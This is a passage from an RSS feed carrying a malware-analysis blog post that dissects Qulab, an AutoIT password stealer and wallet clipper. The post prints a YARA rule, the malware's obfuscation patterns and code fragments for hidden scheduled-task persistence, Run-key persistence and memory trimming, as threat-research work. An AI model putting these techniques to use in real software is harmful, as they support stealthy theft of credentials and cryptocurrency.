href="https://twitter.com/siri_urz"&gt;S!Ri&lt;/a&gt;&#10;&#10;Photo by &lt;a href="https://unsplash.com/photos/-N1_Vhyqd50?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Jens Johnsson&lt;/a&gt; on &lt;a href="https://unsplash.com/search/photos/explosion?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Unsplash&lt;/a&gt;&#10;</description></item><item><title>Let's play with Qulab, an exotic malware developed in AutoIT</title><link>https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/</link><pubDate>Mon, 25 Mar 2019 09:32:20 +0000</pubDate><guid>https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/</guid><description>After some issues that kept me far away from my researches, it's time to put my hands again on some sympathetic stuff. This one is technically and finally my real first post of the year (The anti-VM one was a particular case).&#10;&#10;So today, we will dig into Qulab Stealer + Clipper, another password-stealer that had my attention to be (on my point view) an exotic one, because it is fully developed in AutoIT and have a really cool obfuscation technique that occupied me for some times. Trends to have malware that is coded in some languages different than C, C++, .NET or Delphi is not new, there is a perfect case with the article made by &lt;a href="https://twitter.com/hasherezade"&gt;Hasherezade&lt;/a&gt; earlier this year for &lt;a href="https://blog.malwarebytes.com/threat-analysis/2019/01/analyzing-new-stealer-written-golang/"&gt;a stealer developed in GoLang&lt;/a&gt; (that I highly recommend taking a look on it).&#10;&#10;Normally, using AutoIT scripts in that area is pretty common. It's widely used &lt;a href="https://www.carbonblack.com/2017/04/05/latest-malware-uses-compiled-autoit-script-masquerade-photoshop-cs6-installer/"&gt;as a packer for hiding detection or as a node into an infection chain&lt;/a&gt;, but a&lt;span style="color: var(--color-neutral-600);"&gt;s a whole password-stealer, it's not the same. I could say it's a particular case because it's resale with support on the black market.&lt;/span&gt;&#10;&#10;Even if as usual, techniques remains the same for the stealing features, it's always entertaining to see how there is plenty of ways to achieve one simple goal. Also, the versatility on this one is what makes me overwhelmed my curiosity and burning all my sleep time for some reasons...&#10;&#10;Qulab is focusing on these features:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Browser stealing&lt;/li&gt;&#10;&#9;&lt;li&gt;Wallet Clipper&lt;/li&gt;&#10;&#9;&lt;li&gt;FTP creds&lt;/li&gt;&#10;&#9;&lt;li&gt;Discord / Telegram logs&lt;/li&gt;&#10;&#9;&lt;li&gt;Steam (Session / Trade links / 2FA Authenticator by abusing a third party software)&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram Bot through a proxy&lt;/li&gt;&#10;&#9;&lt;li&gt;Grabber&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;&lt;em&gt;Auto IT?&lt;/em&gt;&lt;/h2&gt;&#10;As I mentioned in the intro, Qulab is coded in AutoIT, for people that are really not in touch it or have no idea about it, it is an automation language who has a syntax similar to the BASIC structure, it's designed to work only on Microsoft Windows.&#10;&#10;They are two way to execute AutoIT scripts :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;If the script is run with the .au3 format, AutoIT dependances are required and all the libraries that are necessary to run it.&lt;/li&gt;&#10;&#9;&lt;li&gt;If the script is compiled all the libraries are added into it for avoiding dependances. It means that you don't need to install AutoIT for executing PE.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;When the instructions are compiled into an executable file, it's easy to catch if we are analyzing an AutoIT script by a simply checking some strings, so there already some Yara rules that made the task to confirm that is the case.&#10;&lt;pre&gt; &#10; &#10;rule AutoIt&#10;{&#10;&#9;meta:&#10;&#9;&#9;author = "_pusher_"&#10;&#9;&#9;date = "2016-07"&#10;&#9;&#9;description = "www.autoitscript.com/site/autoit/"&#10;&#9;strings:&#9;&#9;&#10;&#9;&#9;$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention." wide ascii nocase&#10;&#9;&#9;$aa1 = "AutoIt Error" wide ascii nocase&#10;&#9;&#9;$aa2 = "Missing right bracket ')' in expression." wide ascii nocase&#10;&#9;&#9;$aa3 = "Missing operator in expression." wide ascii nocase&#10;&#9;&#9;$aa4 = "Unbalanced brackets in expression." wide ascii nocase&#10;&#9;&#9;$aa5 = "Error parsing function call." wide ascii nocase&#10;&#9;&#10;&#9;&#9;$aa6 = "&amp;gt;&amp;gt;&amp;gt;AUTOIT NO CMDEXECUTE&amp;lt;&amp;lt;&amp;lt;" wide ascii nocase&#10;&#9;&#9;$aa7 = "#requireadmin" wide ascii nocase&#10;&#9;&#9;$aa8 = "#OnAutoItStartRegister" wide ascii nocase&#10;&#9;&#9;$aa9 = "#notrayicon" wide ascii nocase&#10;&#9;&#9;$aa10 = "Cannot parse #include" wide ascii nocase&#10;&#9;condition:&#10;&#9;&#9;5 of ($aa*)&#10;}&#10; &#10;&lt;/pre&gt;&#10;On my side, I will not explain the steps or tools to extract the code, they are plenty of tutorials on the internet for explaining how it's possible to extract some AutoIt scripts. The idea here is to focus mainly on the malware, not on the extracting part...&#10;&lt;h2&gt;Code Obfuscation&lt;/h2&gt;&#10;After extracting the code from the PE, it's easy to guess that some amazing stuff is coming to our eyes by just looking the amount of code... The analysis of this malware will be some kind of challenge.&#10;&lt;pre&gt; &#10; &#10;cat Qulab.au3 | wc -l&#10;21952 // some pain incomming&#10; &#10; &#10;&lt;/pre&gt;&#10;The source code is really (really) obfuscated but not hard to clean it. it takes just quite some times with the help of homemade scripts to surpass it. But as an analyst that wants to have information, a simple dump of the process during the execution and the report a sandbox is sufficient to understand the main tasks.&#10;&#10;For non-technical people, I have created a &lt;a href="https://github.com/Fmk0/work/tree/master/AutoIT"&gt;dedicated page&lt;/a&gt; on GitHub for being able to read and learn easily the AutoIT fundamentals. I highly recommend to open it during the reading of this article, it will be easier. you had also to read the official AutoIT FAQ for understanding the API. Unfortunately, it's not complete as the Microsoft MSDN documentation but it's enough about the basic principles of this language...&#10;&#10;It's impossible to explain all form of obfuscation in this malware, but this is a summary of the main tricks.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Variable &amp;amp; Function Naming convention&lt;/li&gt;&#10;&lt;/ul&gt;&#10;All variables except few exceptions are in that form&#10;&lt;pre&gt; &#10; &#10;\$A\d[A-F0-9]{3,10}&#10; &#10;&lt;/pre&gt;&#10;It's wonderful to see over ten thousand (and more) variables like this into the whole script (sarcasm)&#10;&lt;pre&gt; &#10; &#10;$A18A4000F15&#10;$A5AA4204E10&#10;$A0FA4403A33&#10;$A55A4601801&#10;$A24A4804C5C&#10;...&#10; &#10;&lt;/pre&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Garbage conditions&lt;/li&gt;&#10;&lt;/ul&gt;&#10;When there is an obfuscated code, there is obviously a huge amount of nonsense conditions or unused functions. It doesn't take a long time to get the idea on Qulab because they are easily catchable by pure logic, take an example on this one :&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)&#10; IF NOT ISDECLARED("SSA5D10600720") THEN&#10; ENDIF&#10; ...&#10; ...&#10;ENDFUNC&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;This a classical pattern, the condition is just checking if a variable ("SS" + Function Name) is not declared, inside there is always some local variables that are initiated for purposes of the functions and most of the time they are coming from the master array. By deobfuscating them, the whole conditions on this pattern can be removed variables are switched by their corresponding values, it permits to delete a lot of codes.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Unused Functions&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Another classy scheme is to find some unused functions, and this permit to clean effectively thousands of lines of junk code by creating a script for the purposes or using some &lt;a href="https://www.autoitscript.com/forum/topic/30573-cleanscript/page/3/?tab=comments#comment-240018"&gt;User-defined functions made by the AutoIT community&lt;/a&gt;.&#10;&#10;&lt;img class="alignnone size-full wp-image-616" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-unused-functions.webp" alt="Screenshot: Unused Functions" width="497" height="137" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Initiating Variables and using them&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;pre&gt; &#10; &#10;GLOBAL LOCAL $VARIABLE_1 = FUNC1(ARRAY[POS])&#10;...Code....&#10;GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1&#10;...Code...&#10;GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 &amp;lt;- Final Value&#10; &#10;&lt;/pre&gt;&#10;&amp;gt; Initiating them by a condition&#10;&lt;pre&gt; &#10; &#10;IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)&#10;IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)&#10;IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)&#10;IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)&#10; &#10;&lt;/pre&gt;&#10;&amp;gt; Using count variable into a 2D Array, with a value that is stored inside a 20 000 length array.&#10;&lt;pre&gt; &#10; &#10;$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)&#10; &#10;&lt;/pre&gt;&#10;&amp;gt; Hiding code error integers by a mixture of multiple functions and variables.&#10;&lt;pre&gt; &#10; &#10;RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))&#10; &#10;&lt;/pre&gt;&#10;&lt;h2&gt;Code Execution&lt;/h2&gt;&#10;This malware has an unorthodox way to execute code and it's pretty cool.&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Read the directives, follow them to go to the main function&lt;/li&gt;&#10;&#9;&lt;li&gt;The main function will set up the master array (I will explain this later)&lt;/li&gt;&#10;&#9;&lt;li&gt;When this function is done, the script will go again to the beginning by a purely logical way after the directives, and search for Global variables and instructions, for our case, it will be some global variables.&lt;/li&gt;&#10;&#9;&lt;li&gt;When all of the Global Variables have been initiated, it will skip all the functions because they are simply not called (for the moment), and will try to reach some exploitable instruction (as I explained above).&#10;When finally some code is reachable, a domino effect occurs, an initiated variable will call one function, that inside it will call one or multiple functions, and so on.&lt;/li&gt;&#10;&#9;&lt;li&gt;During the same process, there is also some encoded files that are hardcoded into the code and injected into the code for some specific tasks. When every setup tasks are done, it's entering into an infinite loop for specific purposes.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;In the end, it could be schematized like this.&#10;&#10;&lt;img class=" size-full wp-image-606 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/03/steps-qulab.webp" alt="Screenshot: Steps Qulab" width="257" height="451" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Directives are leading the road path&lt;/h3&gt;&#10;Everything that is starting with '#' is a directive, this is technically the first thing that the script will check, and here, it's configured to go to a specific function at all cost that is "A5300003647_", this one is the main function.&#10;&lt;pre&gt; &#10; &#10;#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА&#10;#NoTrayIcon&#10;#OnAutoItStartRegister "A5300003647_"&#10; &#10;&lt;/pre&gt;&#10;&lt;a href="https://autohotkey.com/docs/commands/_NoTrayIcon.htm"&gt;#NoTrayIcon&lt;/a&gt; - Hide the AutoIT icon on the tray task&#10;&lt;a href="http://lampiweb.com/help/autoit/html/keywords/OnAutoItStartRegister.htm"&gt;#OnAutoItStartRegister&lt;/a&gt; - The first function that will be called at the beginning of the script (an equivalent of the main function)&#10;&lt;h3&gt;The Main function is VIP&lt;/h3&gt;&#10;The first function of Qulab is critical because this is where almost all the data is initialized for the tasks. The variable $DLIT is storing a "huge" string that will be split with the delimiter "o2B2Ct" and stored into the array $OS&#10;&#10;Note: the name mentioned here is the one that will be used for this stealer script, results may vary between samples but the idea remains the same.&#10;&lt;pre&gt; &#10; &#10;FUNC A5300003647_()&#10; FOR $AX0X0XA=1 TO 5&#10; LOCAL $DLIT="203020o2B2Ct203120o..." &#10; GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)&#10; IF ISARRAY($OS) AND $OS[0]&amp;gt;=19965 THEN EXITLOOP&#10; SLEEP(10)&#10; NEXT&#10;ENDFUNC&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;h3&gt;Global Variables are the keys&lt;/h3&gt;&#10;Global Variables are certainly the main focus of Qulab, they are nowhere and everywhere, they are so impactful with the master array that a single modification of one Variable can have a domino effect for the whole malware that could end to a segmentation fault or anything else that could crash the script.&#10;&#10;When a variable is initialized, there are multiple steps behind it :&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Selecting a specific value from the master array&lt;/li&gt;&#10;&#9;&lt;li&gt;Converting the value to a string&lt;/li&gt;&#10;&#9;&lt;li&gt;Profit&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;pre&gt; &#10; &#10;GLOBAL $A1D7450311E=A5300003647($OS[1])&#10; &#10;&lt;/pre&gt;&#10;the function "A5300003647" is, in fact, an equivalent of "From Hex" feature, and it's converting 2 bytes by 2 bytes the values.&#10;&lt;pre&gt; &#10; &#10;FUNC A5300003647($A5300003647)&#10; LOCAL $A5300003647_&#10; FOR $X=1 TO STRINGLEN($A5300003647) STEP 2&#10; $A5300003647_&amp;amp;=CHR(DEC(STRINGMID($A5300003647,$X,2)))&#10; NEXT&#10; RETURN $A5300003647_&#10;ENDFUNC&#10; &#10;&lt;/pre&gt;&#10;By just tweaking the instructions of the AutoIT scripts, with the help of some adjustments (thanks homemade deobfuscate scripts and patience), variables are now almost fully readable.&#10;&#10;&lt;img class="alignnone size-full wp-image-617" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-modified-variables.webp" alt="ModifiedVariables" width="455" height="78" loading="lazy" decoding="async" /&gt;&#10;&#10;After modifying our 19966 variables (that's a lot), we can see clearly most of the tasks that the malware has on the pipe statically. this doesn't mean that is done with this part, It's only a first draft and it needs to be cleaned again because there is a lot of unfinished tasks and of course as I explained above, most of them are unused.&#10;&#10;&lt;img class="alignnone size-full wp-image-618" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-variables-cleaned.webp" alt="Screenshot: Variables cleaned" width="1450" height="650" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Main code&lt;/h3&gt;&#10;After all that mess to understand what is the correct path to read the code, the script is now entering into the core step, The more serious business begins right now.&#10;&#10;&lt;img class="alignnone size-full wp-image-608" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-code.webp" alt="Code" width="869" height="503" loading="lazy" decoding="async" /&gt;&#10;&#10;To summarize all the task, this is briefly what's going on :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Setting up, Variables that are configured in the builder&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Name of the payload&lt;/li&gt;&#10;&#9;&lt;li&gt;Name of the schedule task&lt;/li&gt;&#10;&#9;&lt;li&gt;Name of the schedule task folder&lt;/li&gt;&#10;&#9;&lt;li&gt;name of the hidden AppData folder where the malware will do the tasks&lt;/li&gt;&#10;&#9;&lt;li&gt;Wallets&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li&gt;Hide itself&lt;/li&gt;&#10;&#9;&lt;li&gt;Do all the stealing tasks&lt;/li&gt;&#10;&#9;&lt;li&gt;Decoding &amp;amp; load dependances when it's required&lt;/li&gt;&#10;&#9;&lt;li&gt;Make the persistence&lt;/li&gt;&#10;&#9;&lt;li&gt;And more... :)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Where is the exit?&lt;/h3&gt;&#10;Between two functions there is sometimes global variables that declared or there are also sneaky calls that have an impact into the payload itself. They could not be really seen at a first view, because they are drowned into an amount of code. So 1 or 2 lines between dozens of functions could be easily forgettable.&#10;&#10;&lt;img class="alignnone size-full wp-image-607" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-on-auto-it-exit-register.webp" alt="OnAutoITExitRegister" width="1103" height="234" loading="lazy" decoding="async" /&gt;&#10;&#10;we can see that is also indicating the specific method that will be called at the end of everything.&#10;&lt;pre&gt; &#10; &#10;ONAUTOITEXITREGISTER("A1AA3F04218")&#10; &#10; &#10;&lt;/pre&gt;&#10;So with just small research, we can see our function that will be called at the end of the script between a huge amount of spaghetti code.&#10;&#10;&lt;img class="alignnone size-full wp-image-588" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-exit-dllclose.webp" alt="Screenshot: EXIT DLLCLOSE" width="1071" height="449" loading="lazy" decoding="async" /&gt;&#10;&#10;Its in fact, closing &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/seccrypto/crypt32-dll-versions"&gt;crypt32.dll&lt;/a&gt; module, thats is used for the CryptoAPI.&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;h2&gt;Some curiosities to disclose&lt;/h2&gt;&#10;&lt;h3&gt;Homemade functions or already made?&lt;/h3&gt;&#10;For most of the tasks, the malware is using a lot of "User Defined Functions" (UDF) with some tweaks, as explained on the AutoIT FAQ: "&lt;em&gt;These libraries have been written to allow easy integration into your own scripts and are a very valuable resource for any programmer"&lt;/em&gt;. it confirms more and more that open-source code and programming forums are useful for both sides (good &amp;amp; bad), so for developing malware it doesn't require to be a wizard, everything is at disposition and free.&#10;&#10;Also for Qulab, it's confirmed that he used tweaked or original UDF for :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;SQL content&lt;/li&gt;&#10;&#9;&lt;li&gt;Archiving content&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram API&lt;/li&gt;&#10;&#9;&lt;li&gt;Windows API&lt;/li&gt;&#10;&#9;&lt;li&gt;Memory usage&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Memory optimization&lt;/h3&gt;&#10;AutoIT programs are known to be greedy in memory consumption and could be probably a risk to be more detectable. At multiple time, the malware will do a task to check if there is a possibility to reduce the amount of allocated memory, by removing as much as possible, pages from the working set of the process. The manipulation required to use &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-emptyworkingset"&gt;EmptyWorkingSet&lt;/a&gt; and could permit to reduce by half the memory usage of the program.&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;FUNC A0E64003F0C($A1B85D1000C=0)&#10; IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")&#10; LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B&amp;lt;1536)?1280:4352),"bool",0"dword",$A1B85D1000C)&#10; IF @ERROR OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)&#10; LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&amp;amp;"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])&#10; RETURN 1&#10;ENDFUNC&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;First, it will grab the PID value of the AutoIT-compiled program by executing the macro @AutoItPID, then opening it with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess"&gt;OpenProcess&lt;/a&gt;. But one of the argument is quite obscure&#10;&lt;pre&gt; &#10; &#10;(($A209DF54B2B&amp;lt;1536)?1280:4352)&#10; &#10; &#10;&lt;/pre&gt;&#10;what is behind variable $A209DF54B2B? let's dig into it...&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;GLOBAL CONST $A209DF54B2B=A2054F01A5F()&#10;&#10;FUNC A2054F01A5F()&#10; LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")&#10; DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))&#10; LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)&#10; IF @ERROR ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)&#10; RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))&#10;ENDFUNC&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;This is WinAPI function will retrieve the version of the current operating system used on the machine, the value returned is into a binary format. So if we look back and check with the official API.&#10;&lt;pre&gt; &#10; &#10;//&#10;// _WIN32_WINNT version constants&#10;//&#10; &#10;#define _WIN32_WINNT_NT4 0x0400 // Windows NT 4.0&#10;#define _WIN32_WINNT_WIN2K 0x0500 // Windows 2000&#10;#define _WIN32_WINNT_WINXP 0x0501 // Windows XP&#10;#define _WIN32_WINNT_WS03 0x0502 // Windows Server 2003&#10;#define _WIN32_WINNT_WIN6 0x0600 // Windows Vista&#10;#define _WIN32_WINNT_VISTA 0x0600 // Windows Vista&#10;#define _WIN32_WINNT_WS08 0x0600 // Windows Server 2008&#10;#define _WIN32_WINNT_LONGHORN 0x0600 // Windows Vista&#10;#define _WIN32_WINNT_WIN7 0x0601 // Windows 7&#10;#define _WIN32_WINNT_WIN8 0x0602 // Windows 8&#10;#define _WIN32_WINNT_WINBLUE 0x0603 // Windows 8.1&#10;#define _WIN32_WINNT_WINTHRESHOLD 0x0A00 // Windows 10&#10;#define _WIN32_WINNT_WIN10 0x0A00 // Windows 10&#10; &#10; &#10;&lt;/pre&gt;&#10;With knowing the Windows Version with this function, the AutoIT script is now able to open the process correctly and analyzing it. The last task is to purge the unused working set by calling EmptyWorkingSet for cleaning some unnecessary memory.&#10;&lt;h3&gt;Task scheduling&lt;/h3&gt;&#10;Task scheduling with stealers is summarized with one line of code, a simple and effective ShellExecute command with schtask.exe to execute periodically something, as a persistence trick. Here it's a little bit more advanced than usual, in multiple points by using a &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/taskschd/taskservice"&gt;TaskService&lt;/a&gt; Object&#10;&lt;div&gt;&#10;&lt;pre&gt;&#10; &#10;$A60FD553516=OBJCREATE("Schedule.Service")&#10;$A60FD553516.Connect()&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;div&gt;&#10;&#10;The new task is set with a flag value of 0, as explained in the MSDN Documentation, it's a mandatory value.&#10;&lt;pre&gt; &#10; &#10;$A489E853A1E=$A60FD553516.NewTask(0)&#10; &#10;&lt;/pre&gt;&#10;To be less detectable, some tricks as being done to look like legit as possible by detailing that the process has been made by the correct user, the description, the name of the task and the task folder is adjusted by what the customer wants.&#10;&lt;pre&gt; &#10; &#10;$A4A9E951E11=$A489E853A1E.RegistrationInfo()&#10;$A4A9E951E11.Description()= $A487E851D38&#10;$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&amp;amp;"\"&amp;amp;EXECUTE(" @UserName ")&#10; &#10;&lt;/pre&gt;&#10;After some other required values to be configured that is not really necessary to talk, it's way more interesting to talk about the setting part of this Task Service because it is quite interesting.&#10;&#10;To maximize the yield, Qulab tweaks the service whenever the situation :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The laptop is not on charge&lt;/li&gt;&#10;&#9;&lt;li&gt;The battery is low&lt;/li&gt;&#10;&#9;&lt;li&gt;Network available or not&lt;/li&gt;&#10;&lt;/ul&gt;&#10;In the end, every minute, the task manager will run the task by executing the malware into the hidden repository folder in %APPDATA%.&#10;&lt;pre&gt; &#10; &#10;$A4B9EA50562=$A489E853A1E.Settings()&#10;$A4B9EA50562.MultipleInstances() = 0&#10;$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE&#10;$A4B9EA50562.StopIfGoingOnBatteries()= FALSE&#10;$A4B9EA50562.AllowHardTerminate()= TRUE&#10;$A4B9EA50562.StartWhenAvailable()= TRUE&#10;$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE&#10;$A4B9EA50562.Enabled()= TRUE&#10;$A4B9EA50562.Hidden()= TRUE&#10;$A4B9EA50562.RunOnlyIfIdle()= FALSE&#10;$A4B9EA50562.WakeToRun()= TRUE&#10;$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H&#10;$A4B9EA50562.Priority()= 3 // Default 5&#10;$A3E9EB51B0D=$A489E853A1E.Principal()&#10;$A3E9EB51B0D.Id()=EXECUTE(" @UserName ")&#10;$A3E9EB51B0D.DisplayName()=EXECUTE(" @UserName ")&#10;$A3E9EB51B0D.LogonType()=$A0B8E352D04&#10;$A3E9EB51B0D.RunLevel()= 0&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;h3&gt;Another Persistence?&lt;/h3&gt;&#10;A classic one is used&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN &#10;REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",&#10; $A00DEB51215,"REG_SZ",""""&amp;amp;$A104A053309&amp;amp;"\"&amp;amp;$A60DE955B5F&amp;amp;"""")&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;/div&gt;&#10;There is nothing much to say more, about this part...&#10;&lt;h3&gt;Encoding is not encryption&lt;/h3&gt;&#10;When I was digging into the code, I found a mistake that makes me laugh a little... The classical quote for saying that base64 is encryption. So maybe after this in-depth analysis, the malware developer will fix his mistake (or just insulting me :') )&#10;&#10;&lt;img class="alignnone size-full wp-image-635" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-b64-fail.webp" alt="Screenshot: B64 fail" width="473" height="283" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Malware Features&lt;/h2&gt;&#10;&lt;h3&gt;Clipper&lt;/h3&gt;&#10;If you are unfamiliar with what is a clipper, it's in fact really simple... The idea is to alter something that is in the clipboard content with the help of some filters/rules that is most of the cases simplify as regular expressions. If it matches with something, it will modify the amount of data caught with something else that was configured. It's heavily used for swapping crypto wallet IDs from the victim to the attacker one. This is also the case with Qulab, it's focusing on Wallets &amp;amp; Steam trade links.&#10;&#10;This piece of code represent the core of the clipper :&#10;&#10;&lt;img class="alignnone size-full wp-image-589" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-clipper.webp" alt="Clipper" width="1443" height="851" loading="lazy" decoding="async" /&gt;&#10;&#10;So that are the steps:&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Execute a script for checking if there any new data to send for the attacker&lt;/li&gt;&#10;&#9;&lt;li&gt;Checking if the ongoing task is present on the task scheduler.&lt;/li&gt;&#10;&#9;&lt;li&gt;Cleaning unnecessary Working Set (see the memory optimization explained above)&lt;/li&gt;&#10;&#9;&lt;li&gt;Make a pause in the loop for 200 ms&lt;/li&gt;&#10;&#9;&lt;li&gt;Get the content of the clipboard with &lt;em&gt;&lt;strong&gt;CLIPGET&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Check all the wallet, if it matches, substitute with the wished value.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;img class="alignnone size-full wp-image-627" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-swap-clipper.webp" alt="Screenshot: Swap Clipper" width="1226" height="262" loading="lazy" decoding="async" /&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Put the modified content on the Clipboard with &lt;em&gt;&lt;strong&gt;CLIPPUT&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeat&lt;/li&gt;&#10;&lt;/ol&gt;&#10;All the values from the different wallet that the attacker wants to swap are stored at the beginning of the code section. By pure speculations, I'm considering that are the values that are configured in the builder.&#10;&#10;&lt;img class="alignnone size-full wp-image-590" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-wallet-configured.webp" alt="Screenshot: Wallet configured" width="864" height="652" loading="lazy" decoding="async" /&gt;&#10;&#10;Current List of Cryptocurrency Wallet that the stealer is switching.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="161"&gt;&lt;/colgroup&gt; &lt;colgroup width="171"&gt;&lt;/colgroup&gt; &lt;colgroup width="174"&gt;&lt;/colgroup&gt; &lt;colgroup width="156"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Bitcoin&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Bitcoin Cash&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Bitcoin Gold&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Bytecoin&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Cardano&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Lisk&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation 